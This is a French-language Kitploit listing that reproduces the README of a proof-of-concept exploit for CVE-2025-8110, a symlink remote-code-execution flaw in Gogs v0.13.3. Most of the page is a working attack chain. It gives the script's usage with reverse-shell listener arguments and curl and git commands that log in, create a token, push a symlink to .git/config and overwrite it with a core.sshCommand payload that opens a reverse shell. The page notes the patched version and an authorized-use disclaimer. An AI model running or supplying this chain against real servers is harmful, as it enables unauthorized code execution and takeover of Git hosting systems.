Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-8110-PoC — Exploit one-shot pour la RCE par symlink de Gogs (CVE-2025-8110) qui déclenche un reverse shell via une seule requête PUT vers UpdateRepoFile. | Kitploit
Outils/GitHubGitHub/mananispiwpiw/cve-2025-8110-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingOutil d'Accès à Distance
GitHubmananispiwpiw/cve-2025-8110-poc

CVE-2025-8110-PoC

Exploit one-shot pour la RCE par symlink de Gogs (CVE-2025-8110) qui déclenche un reverse shell via une seule requête PUT vers UpdateRepoFile.

Voir le dépôt
1il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-8110 PoC

Script de preuve de concept Python pour CVE-2025-8110 — RCE par lien symbolique UpdateRepoFile dans Gogs v0.13.3. En un seul tir : la requête PUT malveillante déclenche elle-même git fetch → sshCommand → reverse shell.

⚠️ Pour la recherche en sécurité éducative et autorisée uniquement. Exécuter cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite de test est illégal.

Détails

  • PoC pour CVE-2025-8110
  • Version affectée : Gogs v0.13.3
  • Version corrigée : Gogs v0.13.4
  • Référence : https://github.com/gogs/gogs/security/advisories/GHSA-2f2w-5pm3-26wp

Comportement vulnérable

Le gestionnaire UpdateRepoFile dans internal/db/repo_editor.go appelle pour écrire le contenu du fichier, ce qui suit les liens symboliques sans les vérifier. Combiné au fait que les commits précédents de liens symboliques traversent dans , un attaquant peut :

os.WriteFile
.git/
  1. Pousser un lien symbolique x → .git/config vers le dépôt nu
  2. Appeler PUT /api/v1/repos/{owner}/{repo}/contents/x avec un .git/config malveillant contenant core.sshCommand défini sur une commande reverse shell
  3. La même requête PUT écrit la configuration et déclenche git fetch origin (via CreateOrUpdateRepoFile → UpdateLocalCopyBranch), qui lit la configuration modifiée et exécute sshCommand — déclenchant un reverse shell en une seule fois.

Fichiers

  • poc.py : demande la cible, le nom d'utilisateur, le mot de passe, LHOST et LPORT ; se connecte, crée un jeton API, crée un dépôt, pousse un lien symbolique et écrase .git/config via l'API — la requête PUT unique déclenche elle-même le reverse shell.

Utilisation

Exécutez :

root@kitploit:~
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001

Arguments

ArgumentRequisDescription
--target / -tOuiNom d'hôte ou URL de la cible Gogs
--usernameOuiNom d'utilisateur Gogs existant
--passwordOuiMot de passe Gogs existant
--lhostOuiIP de l'écouteur pour le reverse shell
--lportOuiPort de l'écouteur

Comment ça fonctionne

  1. Connexion — se connecte à l'interface web Gogs avec les identifiants fournis
  2. Jeton — crée un jeton API personnel via /user/settings/applications
  3. Dépôt — crée un nouveau dépôt vide via l'API Gogs
  4. Pousser le lien symbolique — clone le dépôt, crée un lien symbolique x → .git/config, fait un commit et le pousse
  5. Écrasement et déclenchement (en un seul tir) — envoie PUT /api/v1/repos/{owner}/{repo}/contents/x avec une configuration git malveillante contenant core.sshCommand et une URL distante SSH. CreateOrUpdateRepoFile de Gogs appelle en interne UpdateLocalCopyBranch → git fetch origin, qui lit la configuration empoisonnée et exécute sshCommand — déclenchant un reverse shell en une seule requête.

Équivalent curl

Connexion et récupération du CSRF

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extract _csrf from response
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
  -d '_csrf=<csrf>&user_name=<user>&password=<pass>'

Créer un jeton API

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extract _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
  -d '_csrf=<csrf>&name=poc-token'

Créer un dépôt

root@kitploit:~
curl -X POST http://target/api/v1/user/repos \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  -d '{"name":"poc-repo"}'

Pousser le lien symbolique

root@kitploit:~
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master

Écrasement et déclenchement (PUT unique — prévoir un timeout, le shell arrive)

root@kitploit:~
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  --max-time 10 \
  -d '{"message":"x","content":"<base64 of malicious git config>"}'

La requête PUT elle-même déclenche git fetch origin, qui lit le .git/config empoisonné et exécute le reverse shell. Aucune seconde requête n'est nécessaire.

Pourquoi --max-time 10 ? Le serveur peut rester bloqué pendant ~10s pendant que git traite l'écriture et déclenche le fetch. Utiliser --max-time 10 garantit que curl maintient la connexion ouverte assez longtemps pour que le shell se reconnecte. Sans cela, la connexion peut être interrompue avant que le shell ne se déclenche.

Télécharger l’outil